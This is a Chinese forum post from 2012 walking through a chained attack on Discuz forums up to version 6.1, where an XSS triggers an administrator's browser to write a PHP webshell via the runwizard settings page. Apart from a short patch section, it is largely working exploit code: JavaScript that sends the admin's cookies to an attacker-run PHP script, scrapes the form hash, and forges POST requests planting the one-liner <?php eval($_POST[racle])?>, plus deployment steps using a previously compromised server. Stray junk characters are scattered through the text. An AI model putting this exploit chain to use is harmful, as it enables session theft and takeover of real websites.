找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3740|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell
8 B+ P4 H' x2 Q( H$ R& rBy racle @tian6.com
' f! @; N1 W7 x& w/ t欢迎转帖.但请保留版权信息.
' [2 ^: y) x- x) y3 A) V3 b- g受影响版本iscuz<=6.1.0,gbk+utf+big5
  }: w% [* u6 M. w* R2 b0 o6 h3 ^2 j9 n, u" a
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.) K/ ?9 O8 R- j& F6 ^
+ t3 ~4 [" Q1 P: A. v, v0 {- f9 c
) p! Z+ L  g; j" O' V1 h# a8 t
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
$ g* J0 c9 t6 B" A$ X' l当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
2 Q$ d; K; n/ p0 l8 s3 K& N( h$ I4 _: p- n' }2 ^; S& W
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..% \& |/ ^& L6 k" s) V5 D4 V! E
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS4 f- E9 r& t' ?9 w1 ?1 c9 m  X

' o3 d+ ~3 j7 ]& x1 T. Q
( k) @7 I$ a: @( j) p# ~) H----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
. b1 H* [# N1 q) _3 N3 X
% i+ [7 D" @% |$ V6 d) d* q
% U% p* k* W8 q0 X% P, F% {problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
/ i  y( B0 i1 k) o( K
( m0 K7 k. F* Y5 P: n/ K' fproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
% h8 D9 w8 h% o6 f2 S8 o/ p% m/ d) d- t+ d7 i
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
* e! g' Z9 w( U9 a1 l6 m, ~3 b% U6 j, [# `" `

- A1 I' Z" S" Y3 c: U% \下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
. d; a/ x0 [# o  B4 i8 `5 ~, n& Y' S" G4 u- E
        global $runwizardfile, $runwizardhistory;
0 S4 L# L; \% ^9 I( G$ y) f' W# f2 g! U  A
        $fp = fopen($runwizardfile, 'w');
# E  a5 l- J3 I9 @; @: Y' O- u2 _% H; d9 {( X7 Z
        fwrite($fp, serialize($runwizardhistory));
( \" B' p+ ]1 h! N. i: [2 D; J! ^* W3 Z3 Y( }& _' ~
        fclose($fp);8 K9 ^# g% q1 g3 P7 R
6 S8 s6 H% h) \( H% E
}1 R: f$ U9 t% L, V
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.0 K7 y0 t; z& ?4 H3 {) i
以下是修补的办法:function saverunwizardhistory() {
) c# \. V0 R% R3 K7 d  p/ E+ u5 z1 K* O" }/ m
        global $runwizardfile, $runwizardhistory;4 N/ j& U$ R1 a$ ?9 j" ~
3 U( k1 S2 H7 R5 f9 r
        $fp = fopen($runwizardfile, 'w');
$ {1 R* @9 z! |; a7 J, ~5 r2 q/ X' f! ~/ K4 S) O( _
        $s = '<?php exit;?>';
+ P7 O+ z( E& q! o# P. f% a
$ {; e0 z* y+ [) l! D8 [+ {        $s .= serialize($runwizardhistory);7 g: _4 i; J) ^  Z
- ~5 {7 e$ s& q( e- `# b/ H4 I
        fwrite($fp, $s);  R+ H8 Y" }! s6 D. X

# i. E+ Q) B% F6 H# l: @        fclose($fp);. p& O" i# c5 Q

, G  b0 B! }& J}
4 m/ Q5 }! G) j2 }复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.& ]! x% P2 c( z9 e5 q7 Z

- i$ p+ B6 C, F( k0 k7 H
' G: j6 o3 S/ C1 a& J+ `/ l$ g7 g* i0 S* A
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------  x% o1 j1 E% I; x( g+ c* N. z/ ^3 e
9 I0 L; r6 a4 [+ I/ P

( P; d# E7 T  s% a/ y6 y. v/ H  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.$ W9 Z0 ?/ z8 G0 ?3 n! V/ j! Y4 a

: x7 ~1 ?7 i1 h; O& [8 l/ j6 A( I我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
0 N* M) ^6 M, D- c; D- P  ^
9 J6 `( X" a& J: `; I这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.4 r, `3 A6 e' P3 N

0 V$ g3 M: `) @* U5 N首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
/ B* ]( D- K9 Q: M+ G3 G8 f0 }" F$ i  z2 D" J9 K0 Y1 n
var url="http://目标网站/admincp.php";      ( _& ^) }8 `% N" b

1 Y4 I& z) `# \/*获得cookies*/
) Y, }! D& S; ~; t5 ]% b7 T' z" `! l$ c  k1 f
function getURL(s) {3 M3 E3 _8 c" v; h

! y7 ~' ~, F& p# r! a! Gvar image = new Image();1 g: V- U" ?4 [# U- L: U" n" [, K
3 P1 C8 d' Y; ~
image.style.width = 0;
0 x! H, Q. r6 A. S/ h) A; |7 B' x) D2 r* r2 b
image.style.height = 0;
0 g% D* k5 _5 T7 }' O/ n3 x6 b0 M) b* d4 C9 z9 q5 ]; }
image.src = s;
9 h7 V& e9 o9 Q) `5 c2 V6 K* R. z3 A( j
}+ `7 R! C, w6 \  m: |7 \

$ R4 t# _' o7 [% ogetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php1 ^6 F1 M+ r+ \2 ^2 ?: o
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];! R7 a# G& `4 T: [9 r
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
/ ?9 i- x1 f! ]' k2 U" I. Y3 R% k8 F3 W9 y6 H

* G% [; l6 I* d获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
  F4 K  J  j" }5 X4 d. Q' ~! A: c/ i/ a, w: E4 p+ g8 I$ Q7 @) ^
3 B: t/ f/ P' t/ L/ o* ~/ y
  R6 z, G3 ^. ~. J4 b$ @" }
/*hash*/
$ L1 F: X& a4 t- E: K8 K
9 G) ]* I1 A9 w1 Fvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
8 U) T2 W1 e) X5 y* Q5 [+ [) x2 |8 U! d& M4 W
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
: w! O) d: u1 v1 i
7 s9 ]* E) |7 F2 U9 ]xmlHttpReq.send();$ k1 U- Z7 Y% y/ ^, p6 J

! ?7 }" Z8 H. S  u, V; Mvar resource = xmlHttpReq.responseText;/ g. g* Z$ Q0 ^

6 V8 h( _8 \5 t% i& vvar numero = resource.search(/formhash/);
$ ^* n/ t4 ]% m/ i6 k7 T- ^! }' R
. b! b9 m$ c* \7 j4 m8 q4 lvar formhash=encodeURIComponent(resource.substr(numero+17,8));! [5 m3 [3 Q2 a% {6 P

9 }. ^6 {) ^- B0 C* r: d$ W% E  w0 y# \
/ A7 L% L' L  x, `5 N8 `9 W+ b
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
4 U% e1 O# D& J" D1 t& f3 p$ Y0 a( p8 o- o  i" z4 O
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
* m) s( _7 w5 u5 p0 K
  @. m5 e2 K% j* F& ?, E9 txmlHttpReq.setRequestHeader("Referer", url);+ F5 w* A: C8 \. ]
, a: y( |% i( k1 W0 C# j4 K
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");0 ?/ O1 x* l( A
7 P( ~. H9 o4 @+ I
xmlHttpReq.setrequestheader("content-length",post.length); . i2 A1 ^2 d$ j3 g
) X7 l+ R+ g# \2 {
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); 0 [6 P4 j' H: H' s8 P
1 O% x! [3 a8 f; d7 P9 f3 X2 d
xmlHttpReq.send(post);//发送数据* ~/ ^* b5 }0 v% U& Z. o6 b4 r
复制代码这里HASH我假设正确,这样提交,也无须cookies
$ g# U6 Q1 g5 L/ ]* u7 q- {/ ^! o' J+ m$ T
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);$ x; i% I( \+ O3 `
+ u8 e9 h- S% r- B
if (!$sock) die("$errstr ($errno)\n");* I3 [3 j3 s$ W: g7 G- U0 a( s& X# d
; d, P9 [6 g; k" d) W' b
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';& Z: R7 K6 Q9 l9 x1 r6 g

0 D) K- h/ }9 J% x, P; G- A, A1 h; L2 t0 K/ ^. |

3 y% B+ X8 o5 I; d( nfwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
6 |$ b5 ^# Z' h8 G5 ?" d9 g; N  r' _' v9 ^3 j8 c  g9 y$ l
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
2 E% d/ A- N8 V) L( [7 g6 L7 r' m( s+ D* P% ?, f' Z
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
) @/ d# U: ~. b- F5 w( G3 w  L, S& h# e( y; t
fwrite($sock, "Accept-Language: zh-cn\r\n");
% r+ E; {2 y' L  N
& {, t; Z; h3 @4 |; j! vfwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
, J7 n; v1 D1 K2 X6 v) }
8 _, h2 H8 i  i! rfwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
/ y$ K" c: m5 Q" b: v5 G9 G
+ D% o& _. ?: w1 P, lfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
% x. j$ T# u5 V/ l* V6 \" I4 R: ?
fwrite($sock, "Host: $url\r\n");7 e- y6 d3 k9 G# Z4 ~8 X0 B

# g- ^. q9 ~4 X6 {3 q' T( \0 Ofwrite($sock, "Content-Length: ".strlen($data)."\r\n");
* P$ N! }  r& F6 h* K6 C3 g# {. E! S+ ~
fwrite($sock, "Connection: Keep-Alive\r\n");
- E' W$ a& {" N# o+ |; N1 |- x
  ]3 Q  k0 U$ ]8 W4 F* D' [fwrite($sock, "Cache-Control: no-cache\r\n");. ^8 j# s% p7 l/ W* i& Q, Z9 c- L$ U

' c( u/ \* @& t( a  Pfwrite($sock, "Cookie:".$cookies."\r\n\r\n");
0 L! v" j3 X  r. G& a
# O5 l) e7 p: c' G9 O8 Dfwrite($sock, $data);
: p- a1 e2 S) h6 H1 q4 }
% s6 A7 H$ f% }8 d  d5 k2 i( d& P% `+ t& ]
' _7 g  O; _8 [/ L
$headers = "";  \: q) }% K! {$ D7 |
1 Q5 m/ g2 m$ t2 d$ I
while ($str = trim(fgets($sock, 4096)))
* @' s( {' r+ B/ R. m7 b  z( j6 T1 r0 i3 [3 f
     $headers .= "$str\n";- l  u+ y& ]& B) ]0 P! w  F. \

/ F6 ]# R5 W) N7 G- aecho "\n";
5 l, w- P1 @# Q3 ~- Z4 q9 A6 K  _9 V1 m
$body = "";* Z9 C2 M. P. c. T- M  K+ u4 B

& |9 ?; ~% y/ Zwhile (!feof($sock))
% ]+ _0 W. k+ Y5 K& T# g9 o; p
5 Y" o7 G% z' ]; j     $body .= fgets($sock, 4096);
* ^& D4 o( n; s2 ~; a2 o2 q: ~) h) T% j5 ?
fclose($sock);
( v* R  E6 S/ @* f5 _
: b; B" v; M- b# z& x8 Secho $body;
6 @4 r1 Q4 N" H$ s5 J9 Z  s  u复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^" Z$ c, R/ O* M  S1 b9 p
+ {. U( n, j5 s! }" A
/ {2 }1 ?7 g# O' I
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
6 a. S5 l% l: Z! ^
% I' h" U  Z- F$ g7 y: u
2 o/ X! t. Z+ W9 o1HP SOCKET利用方法首先打开racle.js
& L8 x! p7 n# \3 I, ]/ X% U+ Z6 W4 Y$ |
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home0 [; f* Z# z1 e% J7 ?5 j. A2 Q
: u. R0 v- V0 i+ k

; S* D, ?0 Z" M; n" O8 w& B+ L: P% b0 J
然后打开racle@tian6.php
2 T8 G7 _  Z( ^6 G/ z1 s" E
6 D9 P& ^9 R- f$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com3 k4 U# u( x0 N5 u, }: k

5 C8 |$ s4 x6 _( g* @3 {
, H% \9 t5 b+ F/ ]: n2 R. ?: D2 i
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:8 L, a& [% f6 W5 c6 n; }1 U9 ]' S
' ^' D7 D6 H6 `
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));# ~9 \& _, F) D. ^6 W
' V/ l! c* D5 T- ^+ ]
% O& Y: x5 _! _6 H. r1 \
) T1 I) Y4 i1 |6 y: W- r
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));4 n+ x* C" Z6 b1 @1 G7 V  N
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.5 b2 Y4 t3 Y# i9 N7 l; r
8 Y" i6 s+ Q/ |6 U; k5 P- d
( ]; ]8 I1 }/ j( I
* M5 }& B* R" \
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
" e% ]# \7 l2 L: \
) a; B# ]3 ?% k' cvar formhash=encodeURIComponent(resource.substr(numero+17,8));
0 c* j/ W* y$ {; L! F
+ ~8 {8 J6 @9 z6 R8 Z* V  O6 i( s* p* q2 y  f6 e4 P+ @! j& c% x
8 E/ I# S! f. ]/ ?+ s
var formhash=encodeURIComponent(resource.substr(numero+9,8));1 Y  [  F5 U$ A* \4 M: B7 @, ?0 D
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
0 f8 F2 F. B8 ?7 @6 t! Q1 K. |1 t; [7 \6 A0 J5 e8 z. L: w" }
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.1 U6 Q) N- v/ w5 F) T
  v9 i/ M9 ?& N3 I- {
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
1 w2 a2 d$ U  I$ F: y/ E, z) ]
; \0 _; U7 C5 I2 W不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.! n: ~! |, T6 b4 c
8 w; }/ b% g3 z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表